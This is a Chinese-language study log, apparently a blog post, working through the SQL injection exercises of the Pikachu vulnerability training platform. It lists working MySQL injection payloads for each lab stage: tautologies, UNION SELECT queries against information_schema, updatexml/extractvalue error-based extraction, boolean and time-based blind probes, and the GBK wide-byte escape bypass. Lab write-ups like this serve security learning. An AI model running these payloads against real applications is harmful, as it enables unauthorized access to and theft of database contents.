Pikachu漏洞练习平台 记录(sql Inject)

数字型注入(post)

烦死了又要抓包 == 先尝试让他报错

payload1 or 1=1 注释掉后面的一行SQL代码 查询当前数据表中所有的用户信息

字符型注入

这个不用抓包 payload or 1=1# 前面 闭合 后面 # 注释后面的 就类似上面的 1 or 1=1 1=1为真, 查找全部

搜索型注入

%% 是什么意思啊 ?? 模糊搜索?? 不懂 == 按流程来一套吧 先来个正常的 payload or 1=1# 也可以起到相同效果 其他方式 payload vince order by 4# 爆字段列数 联合查询 union select 爆 库名 用户名 payload vince union select 1,database(),user()#

爆表 payload vince union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()# 爆字段 payload vince union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=users#

xx型注入

啥玩意???xx型是什么 确实 ==

尝试了 or 1=1#发现不行 然后就尝试不断从报错回显判断, 有括号 尝试payload 1) or 1=1# 以及上面的另外一种payload

"insert/update"注入

先去注册 然后在注册用户名填入1尝试报错 extractvalue(目标xml文档,xml路径): 第一个参数指定 xml 文档表的字段名称,第二个参数应该是合法的XPATH路径,使用方法跟下面的一样,少一个参数而已,下面的函数名好记

updatexml(1,concat(0x7e,database()),1): updatexml:mysql对xml文档进行查询和修改的XPATH函数 concat:连接字符串函数 0x7e:assic码中的’ ~ ’

payload 1 and extractvalue(1,concat(0x7e,database())) and 1 or updatexml(1,concat(0x7e,database()),0) or

"delete"注入

需要抓包 在进行数据删除的时候可以抓到注入点

"http header"注入

按照提示的账户密码登入后 说是跟http头里面有关的字段都可以测试一下 啥玩意嘛, 不懂 说是useragent 、accept 字段等等,会对客户端的 http 请求头信息获取并使用 sql 进行处理

useragent 和accept 修改为 都发生报错 那意思是注入点就是这两个咯 对useragent 和accept 进行注入 payload 1 or updatexml(1,concat(0x7e,database()),0) or 都可以爆出来

布尔盲注(base on boolian)

布尔没有什么说的 按照注入流程一步步来就行了 payload123 and 1=1#回显正常 payload123 and 1=2#回显报错

布尔的话只有true和false, 不会回显什么 所以手工不太现实, 用脚本比较好

时间盲注(base on time)

通过响应时间判断是否存在注入点kobe and sleep(3)# 原理和布尔注入一样

宽字节注入

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节 PHP编码为GBK,函数执行添加的是ASCII编码 当PHP转义时,单引号会被加上反斜杠,结果,十六进制为%5c%27 所以当php转义前, 在单引号前加入%df, 组成%df%5c%27 = 縗

好长啊 ==

经验分享 程序员 微信小程序 职场和发展